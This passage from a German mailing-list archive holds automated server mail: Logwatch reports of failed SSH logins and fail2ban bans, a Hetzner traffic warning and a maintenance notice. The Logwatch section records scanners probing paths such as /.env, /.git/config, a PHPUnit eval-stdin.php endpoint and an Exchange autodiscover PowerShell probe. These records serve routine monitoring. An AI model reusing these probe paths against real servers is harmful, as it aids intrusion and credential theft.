(ip103-52-114-20.cloudhost.web.id): 19 times 103.90.66.3 (mrtg.racemedia.co.id): 6 times 103.143.248.101: 16 times 103.158.57.10: 6 times 103.164.221.210 (210.221.164.103.net.iforte.net.id): 6 times 103.179.57.51 (ip103-179-57-51.cloudhost.web.id): 18 times 103.186.18.10: 16 times 103.189.234.25 (ip103-189-234-25.cloudhost.web.id): 16 times 103.231.46.66: 18 times 104.131.40.97: 17 times 104.131.69.237: 16 times 104.131.190.193 (docman.gozmart.ch-prob): 17 times 106.246.224.154: 16 times 107.173.122.150 (107-173-122-150-host.colocrossing.com): 12 times 118.36.69.40: 4 times 121.241.227.91: 12 times 122.3.192.83 (122.3.192.83.static.pldt.net): 30 times 128.199.80.214: 16 times 128.199.95.60: 17 times 128.199.194.183: 12 times 137.184.112.37: 12 times 143.64.34.225: 1 time 143.198.215.9: 14 times 147.182.171.152: 13 times 147.182.224.240: 17 times 148.0.221.92 (92.221.0.148.d.dyn.claro.net.do): 17 times 150.109.149.87: 9 times 151.69.161.84: 26 times 154.56.137.25 (25.red.137.56.154.procono.es): 14 times 154.88.30.29: 12 times 154.221.27.121: 9 times 158.160.34.1: 17 times 159.65.235.114: 12 times 159.192.143.249: 17 times 163.139.169.79 (s79.GtokyoFL5.vectant.ne.jp): 12 times 164.90.224.134: 13 times 164.177.31.66 (static-csq-cds-031066.business.bouyguestelecom.com): 14 times 165.227.84.172: 13 times 165.227.85.21 (officehuddle.com-main-site): 14 times 165.227.166.247: 12 times 165.227.228.212 (mail.yegara.org): 17 times 167.172.190.219: 16 times 170.64.141.149: 16 times 170.64.145.33: 16 times 175.126.176.21: 26 times 175.193.13.3: 12 times 178.62.40.68: 16 times 179.50.16.249: 12 times 182.93.7.194 (n18293z7l194.static.ctmip.net): 14 times 185.126.8.102: 16 times 185.224.128.142: 12 times 185.231.112.3: 18 times 186.154.90.114 (britishcouncil.org.co): 9 times 187.44.214.58 (187-44-214-58.STATIC.itsweb.com.br): 17 times 187.62.158.179: 18 times 187.251.135.88 (fixed-187-251-135-88.totalplay.net): 14 times 188.166.58.179: 12 times 191.98.191.69: 12 times 192.160.245.238 (238.245.160.192.rev.vodafone.pt): 14 times 192.210.226.176 (192-210-226-176-host.colocrossing.com): 16 times 192.241.156.50: 12 times 193.169.255.233: 8 times 194.5.159.71: 13 times 194.55.224.48: 1 time 195.45.77.78: 16 times 196.29.34.170: 18 times 197.5.145.150: 17 times 197.199.224.52 (host-197.199.224.52.etisalat.com.eg): 16 times 199.19.225.232: 13 times 201.217.139.106 (r201-217-139-106.ir-static.anteldata.net.uy): 14 times 201.217.217.86 (201-217-217-86-host.ifx.net.co): 13 times 202.4.42.154: 17 times 202.83.17.160 (act2028317160.broadband.actcorp.in): 13 times 202.153.37.56: 12 times 203.114.102.173 (203.114.102.173.static.totisp.net): 24 times 204.48.24.27: 13 times 207.154.208.68: 17 times 210.87.195.112: 16 times 212.145.210.150 (vf212145210150.tgm1.com): 18 times 212.192.11.20 (gibson.slutsuk.com): 12 times 221.7.227.90: 10 times 221.161.235.166: 16 times Illegal users from: 2001:470:1:c84::20: 1 time undef: 82 times 24.199.112.118: 25 times 34.239.126.5 (ec2-34-239-126-5.compute-1.amazonaws.com): 1 time 39.109.123.201: 12 times 45.95.146.103 (mx.portalofertowy24.pl): 5 times 45.129.14.51 (sanchez.explorethebest.com): 3 times 45.168.176.34 (static-45-168-176-34.romaotelecomprovedor.com.br): 3 times 46.19.138.210 (hostedby.privatelayer.com): 3 times 57.128.11.38 (ip38.ip-57-128-11.eu): 4 times 64.62.197.205 (scan-50i.shadowserver.org): 1 time 76.28.20.79 (c-76-28-20-79.hsd1.ct.comcast.net): 2 times 79.110.48.83: 1 time 79.110.48.86: 1 time 81.17.22.114 (hostedby.privatelayer.com): 15 times 93.95.225.144 (vps-93-95-225-144.1984.is): 4 times 103.158.57.10: 5 times 116.127.166.195: 2 times 119.192.8.27: 2 times 121.148.143.194: 5 times 170.64.141.149: 37 times 170.64.145.33: 24 times 178.128.214.3: 3 times 183.136.225.5: 1 time 194.55.224.48: 3 times 204.93.154.196 (unknown.scnet.net): 1 time **Unmatched Entries** Disconnecting: Corrupted padlen 0 on input. [preauth] : 1 time(s) ---------------------- SSHD End ------------------------- --------------------- Disk Space Begin ------------------------ Filesystem Size Used Avail Use% Mounted on /dev/ploop47383p1 394G 243G 132G 65% / none 4.0G 0 4.0G 0% /dev ---------------------- Disk Space End ------------------------- ###################### Logwatch End #########################

2 Jahre, 2 Monate

1
0
0 / 0

Logwatch for h2361197.stratoserver.net (Linux)

by root＠zapf.in

################### Logwatch 7.4.0 (03/01/11) #################### Processing Initiated: Thu Aug 3 04:42:04 2023 Date Range Processed: yesterday ( 2023-Aug-02 ) Period is day. Detail Level of Output: 0 Type of Output/Format: mail / text Logfiles for Host: h2361197.stratoserver.net ################################################################## --------------------- fail2ban-messages Begin ------------------------ Banned services with Fail2Ban: Bans:Unbans ssh: [ 51:51 ] ---------------------- fail2ban-messages End ------------------------- --------------------- httpd Begin ------------------------ Connection attempts using mod_proxy: 178.62.71.194 -> google.com:443: 1 Time(s) 45.128.232.183 -> google.com:443: 2 Time(s) 84.54.51.12 -> google.com:443: 1 Time(s) A total of 13 sites probed the server 109.237.98.226 139.59.58.140 161.35.230.183 162.243.135.17 162.243.135.44 170.64.160.138 184.105.247.254 192.241.197.44 43.163.200.64 64.227.146.243 66.240.205.34 69.164.217.245 84.54.51.151 Requests with error response codes 400 Bad Request null: 19 Time(s) *: 6 Time(s) /: 5 Time(s) google.com:443: 4 Time(s) A@BAE@FAI: 3 Time(s) mstshash=Administr: 2 Time(s) /.env: 1 Time(s) /favicon.ico: 1 Time(s) /private/api/v1/service/premaster: 1 Time(s) /robots.txt: 1 Time(s) /sitemap.xml: 1 Time(s) /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/: 1 Time(s) /w00tw00t.at.ISC.SANS.DFind:): 1 Time(s) \xE00\xCC\xBAU]<\x15\x14\xBA\xC7W7c\x02\x9 ... 9\x87KE\xE1\x86: 1 Time(s) 500 Internal Server Error /: 33 Time(s) /.env: 4 Time(s) /favicon.ico: 4 Time(s) /.git/config: 3 Time(s) //login_sid.lua: 2 Time(s) /version: 2 Time(s) /?XDEBUG_SESSION_START=phpstorm: 1 Time(s) /HNAP1: 1 Time(s) /HNAP1/: 1 Time(s) /PSIA/index: 1 Time(s) /Public/home/js/check.js: 1 Time(s) /ab2g: 1 Time(s) /ab2h: 1 Time(s) /actuator/gateway/routes: 1 Time(s) /actuator/health: 1 Time(s) /autodiscover/autodiscover.json?@zdi/Powershell: 1 Time(s) /geoserver/web/: 1 Time(s) /onvif/device_service: 1 Time(s) /owa/auth/logon.aspx: 1 Time(s) /owa/auth/x.js: 1 Time(s) /restore.php: 1 Time(s) /static/admin/javascript/hetong.js: 1 Time(s) /t4: 1 Time(s) /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php: 1 Time(s) ---------------------- httpd End ------------------------- --------------------- pam_unix Begin ------------------------ sshd: Authentication Failures: root (178.62.40.68): 67 Time(s) root (206.189.145.18): 30 Time(s) root (118.31.38.199): 27 Time(s) root (117.247.185.39): 20 Time(s) root (122.53.133.167): 18 Time(s) root (89.40.142.112): 18 Time(s) root (134.17.16.43): 17 Time(s) root (179.41.2.183): 17 Time(s) root (202.185.181.42): 17 Time(s) root (103.183.47.4): 16 Time(s) root (157.245.248.106): 16 Time(s) unknown (141.98.11.113): 16 Time(s) root (150.242.140.105): 15 Time(s) root (202.158.139.57): 15 Time(s) root (49.236.204.16): 15 Time(s) root (59-124-205-215.hinet-ip.hinet.net): 15 Time(s) root (162.240.226.146): 14 Time(s) root (74.39.233.253): 14 Time(s) root (141.98.11.113): 13 Time(s) unknown (141.98.11.11): 13 Time(s) root (157.230.113.181): 12 Time(s) root (185.224.128.142): 12 Time(s) root (194.209.191.243): 12 Time(s) root (79.175.160.120): 12 Time(s) root (141.98.11.11): 10 Time(s) root (193.169.255.233): 9 Time(s) root (176.113.115.210): 6 Time(s) unknown (118.31.38.199): 6 Time(s) unknown (89.40.142.112): 6 Time(s) unknown (176.113.115.211): 5 Time(s) root (87.196.80.30): 4 Time(s) root (ool-ae2c59a5.dyn.optonline.net): 4 Time(s) unknown (121.177.70.228): 4 Time(s) unknown (176.113.115.210): 4 Time(s) unknown (81.17.22.114): 4 Time(s) unknown (118.34.67.27): 2 Time(s) unknown (212-197-184-25.hdsl.highway.telekom.at): 2 Time(s) unknown (31.184.198.71): 2 Time(s) unknown (91.116.250.75): 2 Time(s) unknown (ip-088-152-051-106.um26.pools.vodafone-ip.de): 2 Time(s) backup (141.98.11.11): 1 Time(s) mysql (141.98.11.113): 1 Time(s) root (145.128.211.49): 1 Time(s) root (176.113.115.211): 1 Time(s) root (178.19.160.237): 1 Time(s) root (187-84-62-23.bommtempo.inf.br): 1 Time(s) root (188.162.92.206): 1 Time(s) root (189.243.60.34): 1 Time(s) root (193.43.104.98): 1 Time(s) root (194.55.224.48): 1 Time(s) root (195.242.232.238): 1 Time(s) root (210.4.125.86): 1 Time(s) root (216-234-103-150.static.123.net): 1 Time(s) root (217.70.220.111.sta.wbroadband.net.au): 1 Time(s) root (31.184.198.71): 1 Time(s) root (36.154.162.74): 1 Time(s) root (45.118.73.166): 1 Time(s) root (node-6te.pool-118-172.dynamic.totinternet.net): 1 Time(s) root (sltx.org): 1 Time(s) unknown (098-123-040-186.biz.spectrum.com): 1 Time(s) unknown (105.73.202.53): 1 Time(s) unknown (115.244.19.133): 1 Time(s) unknown (121.175.167.235): 1 Time(s) unknown (121.202.193.185): 1 Time(s) unknown (122.176.119.219): 1 Time(s) unknown (123.212.20.131): 1 Time(s) unknown (159.223.67.103): 1 Time(s) unknown (170.247.0.13): 1 Time(s) unknown (179.42.155.230): 1 Time(s) unknown (183.171.152.120): 1 Time(s) unknown (190.155.233.179): 1 Time(s) unknown (190.220.7.66): 1 Time(s) unknown (194.55.224.48): 1 Time(s) unknown (195.242.232.66): 1 Time(s) unknown (197.230.63.203): 1 Time(s) unknown (201.166.216.111): 1 Time(s) unknown (23-8-22-171.usuarios.innovasur.com): 1 Time(s) unknown (49.249.189.166): 1 Time(s) unknown (62.84.114.252): 1 Time(s) unknown (65.20.147.59): 1 Time(s) unknown (66.175.146.114): 1 Time(s) unknown (66.96.234.232): 1 Time(s) unknown (80.94.245.97): 1 Time(s) unknown (81.71.1.242): 1 Time(s) unknown (87.196.80.30): 1 Time(s) unknown (cm-72-240-225-95.buckeyecom.net): 1 Time(s) unknown (ool-ae2c59a5.dyn.optonline.net): 1 Time(s) unknown (p2935156-ipngn4001funabasi.chiba.ocn.ne.jp): 1 Time(s) uucp (ip-74-83-51-134.dynamic.fuse.net): 1 Time(s) Invalid Users: Unknown Account: 116 Time(s) ---------------------- pam_unix End ------------------------- --------------------- Postfix Begin ------------------------ 2 Miscellaneous warnings 13.399K Bytes accepted 13,721 13.399K Bytes sent via SMTP 13,721 ======== ================================================== 1 Accepted 100.00% -------- -------------------------------------------------- 1 Total 100.00% ======== ================================================== 5 4xx Reject relay denied 100.00% -------- -------------------------------------------------- 5 Total 4xx Rejects 100.00% ======== ================================================== 347 Connections 99 Connections lost (inbound) 347 Disconnections 1 Removed from queue 1 Sent via SMTP 1 SMTP dialog errors 4 Hostname verification errors (FCRDNS) ---------------------- Postfix End ------------------------- --------------------- sendmail-largeboxes (large mail spool files) Begin ------------------------ Large Mailbox threshold: 40MB (41943040 bytes) Warning: Large mailbox: mailman.gz (1747199807) Warning: Large mailbox: mailman (235703599967) ---------------------- sendmail-largeboxes (large mail spool files) End ------------------------- --------------------- SSHD Begin ------------------------ Failed logins from: 31.184.198.71: 1 time 36.154.162.74: 1 time 45.118.73.166: 1 time 49.236.204.16: 15 times 59.124.205.215 (59-124-205-215.hinet-ip.hinet.net): 15 times 64.207.177.82 (sltx.org): 1 time 74.39.233.253 (mail.chinleusd.k12.az.us): 14 times 74.83.51.134 (ip-74-83-51-134.dynamic.fuse.net): 1 time 79.175.160.120: 12 times 87.196.80.30: 4 times 89.40.142.112 (89-40-142-112.virtualsolution.net): 18 times 103.183.47.4: 16 times 111.220.70.217 (217.70.220.111.sta.wbroadband.net.au): 1 time 117.247.185.39 (apatp.bsnl.co.in): 20 times 118.31.38.199: 27 times 118.172.34.130 (node-6te.pool-118-172.dynamic.totinternet.net): 1 time 122.53.133.167 (host.8.static.wwwexpress.com.ph): 18 times 134.17.16.43 (43-16-17-134-cloud.mts.by): 17 times 141.98.11.11 (axon-stall.riddlecamera.net): 11 times 141.98.11.113 (annoying.medyamol.com): 14 times 145.128.211.49 (rt211bb128-145-49.routit.net): 1 time 150.242.140.105: 15 times 157.230.113.181: 12 times 157.245.248.106: 16 times 162.240.226.146 (6863903.xo2m1.com): 14 times 174.44.89.165 (ool-ae2c59a5.dyn.optonline.net): 4 times 176.113.115.210: 6 times 176.113.115.211: 1 time 178.19.160.237: 1 time 178.62.40.68: 67 times 179.41.2.183 (179-41-2-183.speedy.com.ar): 17 times 185.224.128.142: 12 times 187.84.62.23 (187-84-62-23.bommtempo.inf.br): 1 time 188.162.92.206: 1 time 189.243.60.34 (dsl-189-243-60-34-dyn.prod-infinitum.com.mx): 1 time 193.43.104.98: 1 time 193.169.255.233: 9 times 194.55.224.48: 1 time 194.209.191.243: 12 times 195.242.232.238 (host-195.242.232.238.c3.net.pl): 1 time 202.158.139.57: 15 times 202.185.181.42: 17 times 206.189.145.18: 30 times 210.4.125.86: 1 time 216.234.103.150 (216-234-103-150.static.123.net): 1 time Illegal users from: 2001:470:1:c84::16: 1 time undef: 40 times 31.184.198.71: 3 times 49.249.189.166 (www.whitefieldhonda.com): 1 time 62.84.114.252: 1 time 65.20.147.59: 1 time 65.49.1.119: 1 time 66.96.234.232 (host-66-96-234-232.myrepublic.co.id): 1 time 66.175.146.114 (coph-114-a.cspirefiber.net): 1 time 72.212.177.126 (wsip-72-212-177-126.hr.hr.cox.net): 1 time 72.240.225.95 (cm-72-240-225-95.buckeyecom.net): 1 time 80.94.245.97: 1 time 81.17.22.114 (hostedby.privatelayer.com): 20 times 81.71.1.242: 1 time 87.196.80.30: 1 time 88.152.51.106 (ip-088-152-051-106.um26.pools.vodafone-ip.de): 2 times 89.40.142.112 (89-40-142-112.virtualsolution.net): 6 times 91.116.250.75 (75.250.116.91.unassigned.reverse-mundo-r.com): 2 times 95.79.32.59 (platoon.dom.ru): 1 time 98.123.40.186 (098-123-040-186.biz.spectrum.com): 1 time 105.73.202.53: 1 time 109.191.106.8 (pool-109-191-106-8.is74.ru): 1 time 115.244.19.133: 1 time 118.15.131.156 (p2935156-ipngn4001funabasi.chiba.ocn.ne.jp): 1 time 118.31.38.199: 6 times 118.34.67.27: 2 times 121.175.167.235: 5 times 121.177.70.228: 5 times 121.202.193.185 (m121-202-193-185.smartone.com): 1 time 122.176.119.219 (abts-north-static-219.119.176.122.airtelbroadband.in): 1 time 123.156.29.232: 1 time 123.212.20.131: 1 time 141.98.11.11 (axon-stall.riddlecamera.net): 13 times 141.98.11.113 (annoying.medyamol.com): 17 times 159.223.67.103: 1 time 170.247.0.13: 1 time 171.22.8.23 (23-8-22-171.usuarios.innovasur.com): 1 time 174.44.89.165 (ool-ae2c59a5.dyn.optonline.net): 1 time 176.113.115.210: 5 times 176.113.115.211: 5 times 179.42.155.230: 1 time 183.171.152.120: 1 time 189.134.38.16 (dsl-189-134-38-16-dyn.prod-infinitum.com.mx): 1 time 190.155.233.179 (179.190-155-233.uio.satnet.net): 1 time 190.220.7.66 (host66.190-220-7.telmex.net.ar): 1 time 192.184.95.190 (mumble.neetlyfe.net): 6 times 194.55.224.48: 1 time 195.242.232.66 (host-195.242.232.66.c3.net.pl): 1 time 197.230.63.203: 1 time 201.166.216.111 (201.166.216.111-clientes-izzi.mx): 1 time 212.197.184.25 (212-197-184-25.hdsl.highway.telekom.at): 2 times **Unmatched Entries** Disconnecting: Change of username or service not allowed: (root,ssh-connection) -> (admin,ssh-connection) [preauth] : 1 time(s) Disconnecting: Change of username or service not allowed: (admin,ssh-connection) -> (ubnt,ssh-connection) [preauth] : 1 time(s) Disconnecting: Change of username or service not allowed: (0,ssh-connection) -> (root,ssh-connection) [preauth] : 1 time(s) Protocol major versions differ for 84.54.51.151: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3 vs. SSH-1.5-Server : 1 time(s) ---------------------- SSHD End ------------------------- --------------------- Disk Space Begin ------------------------ Filesystem Size Used Avail Use% Mounted on /dev/ploop47383p1 394G 243G 132G 65% / none 4.0G 0 4.0G 0% /dev ---------------------- Disk Space End ------------------------- ###################### Logwatch End #########################

2 Jahre, 2 Monate

1
0
0 / 0

Achtung: Traffic-Report-Limit-Überschreitung

by noreply＠hetzner.com

Sehr geehrter Herr Fabian Freyer, hiermit möchten wir Sie darauf aufmerksam machen, dass die Menge der übertragenen Daten das von Ihnen gesetzte Limit überschritten hat: Stündlich: (17:00 - 18:00) IP / Subnet Servername Limit (MB) Traffic (MB) 2a01:4f8:10b:2f10::/64 2000 2518,1246 Bitte beachten Sie, dass die Zeit in Mitteleuropäischer Sommerzeit (MESZ) +0200 UTC angegeben wird. Sie können den Wert, bei dem Sie diese Warnmeldung erhalten wollen, jederzeit selbst im Robot https://robot.hetzner.com unter dem Menüpunkt "Server; Reiter IPs" ändern. Sie haben mit unserem Traffic-Warnsystem eine gute Möglichkeit, Unregelmäßigkeiten festzustellen. Dieser Wert hat nichts mit Ihrem freien Transfervolumen zu tun! Falls Sie Fragen haben, senden Sie uns bitte eine Supportanfrage aus Ihrer Administrationsoberfläche Robot https://robot.hetzner.com . Bitte loggen Sie sich mit Ihrem Account in den Robot ein und klicken Sie rechts oben auf das Benutzer-Icon und wählen Sie anschließend den Punkt "Support" aus. Dort wählen Sie bitte die "Server" Option unter "Produkt" aus, dann können Sie Ihren Server auswählen. Alternativ können Sie auch eine allgemeine Anfrage senden. Wir werden Ihre Anfrage so schnell wie möglich beantworten. Mit freundlichen Grüßen Ihr Hetzner Online Team Hetzner Online GmbH Industriestr. 25 91710 Gunzenhausen Tel.: +49 9831 505-0 Fax: +49 9831 505-3 info(a)hetzner.com www.hetzner.com Registergericht Ansbach, HRB 6089 Geschäftsführer: Martin Hetzner, Stephan Konvickova, Günther Müller USt-IdNr. DE812871812 Hinweise zur Verarbeitung Ihrer personenbezogenen Daten im Rahmen der Kommunikation mit Ihnen finden Sie unter: https://www.hetzner.com/de/datenschutzhinweis

2 Jahre, 2 Monate

1
0
0 / 0

E-mail Account Notification For topf@zapf.in !!!

by Noreply＠zapf.in

2 Jahre, 2 Monate

1
0
0 / 0

Wichtige Mitteilung - Verschiebung Wartungsarbeiten am 03.08.2023 auf den 10.08.2023

by erp＠infra.run

Sehr geehrte Nutzer:innen von infra.run-Dienstleistungen, aus organisatorischen Gründen müssen wir unsere für den 03.08.2023 angekündigten Wartungsarbeiten auf den 10.08.2023 verschieben. Der Zeitraum bleibt bestehen: 22:00 bis 02:00 . Die Wartungsarbeiten sind erforderlich, um unsere Software auf dem aktuellen Stand zu halten. In dieser Zeit können einzelne Dienste kurzzeitig nicht zur Verfügung stehen. Nach Ende der Wartungsarbeiten stehen Ihnen unsere Dienste wie gewohnt im vollem Umfang bereit. Für Fragen stehen wir jederzeit gerne zur Verfügung. Mit freundlichen Grüßen infra.run Service GmbH - Wilhelmine-Gemberg-Weg 14 10179 Berlin Handelsregister: Amtsgericht Charlottenburg HRB 225307 B Steuernummer: 30/358/51857 Ust-IdNr: DE340100821 Geschäftsführer*innen: Leonie Hannig, Sebastian Breuer, Andreas Steinhauser

2 Jahre, 2 Monate

1
0
0 / 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

TOPF August 2023